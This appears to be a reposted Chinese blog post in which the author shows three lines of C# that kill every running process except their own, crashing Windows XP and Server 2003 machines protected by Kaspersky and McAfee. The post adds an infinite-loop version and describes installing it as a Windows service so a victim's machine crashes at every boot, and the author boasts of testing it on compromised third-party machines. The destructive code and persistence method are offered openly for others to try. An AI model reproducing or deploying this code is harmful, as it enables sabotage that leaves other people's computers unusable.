真没想到3行纯c#代码就造成死机,竟如此容易,还是最新的卡巴麦咖啡

来源:互联网 发布:淘宝自动客服 编辑:程序博客网 时间:2024/05/06 19:23

                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }

 

这样就能死机?没错这样就能死机!

测试环境

1、winxp sp3(及所有关键、推荐更新)+卡巴2008最新病毒库    虚拟机里

2、win2003sp2(及所有关键、推荐更新)+今天刚装的最新的mcafee8.7企业版+antispyware    真机里

 

起因,今天没事在虚拟机测试者玩就这3行代码看看运行什么样的,本以为只能退出一些无关紧要的程序+出来一些错误提示而已,没想到一运行马上蓝屏就死机了,重启虚拟机又试,结果又马上就蓝屏死机,于是我想虚拟机系统本身有几个进程是虚拟机自带的是不是这个kill后造成系统失败呢,我就关上虚拟机在我的真机里测试。今天装的刚新出的mcafee8.7企业版,运行后系统的主题没有了,成了经典主体了,一般系统错误比较严重的时候出现这种情况。又马上运行一次,这次蓝屏死机了。真没想到造成死机这么容易,也没想到process.kill()如此的强劲,我有点肃然起敬,因为原来我感觉.net下面封装的类都是非常安全权限很低的,它把一些稍微危险的操作都去掉了,所以动不动就得找api的。

话说回来了,在真机里不是马上蓝屏是第二次执行的时候蓝屏的,不过这两次执行相隔不到2秒,那么改成这样就行了

            while (true)
            {
                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }
            }

刚刚测试,绝无瞎话,由于很兴奋故上来打打字,大家有兴趣可以测试一下玩玩。

 

=========================

补充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是说如果是本进程id就不kill,并且死循环,一点就会马上死机了,我在本机、虚拟机试了很多次,并在肉鸡试过很多次,屡试不爽。必须要加try catch,否则当遇到不能结束的进程什么的一报错本程序就崩溃了。

 

如果新建一个win服务程序,并在onstart的地方写上这段代码,并给某机器注册服务并启动,那么他的机器就再也启不来了,因为每次启动还没登陆的时候就死机了(已在某南棒肉鸡上试验)。那么能不能通过安全模式来取消注册,我没敢试过不好说。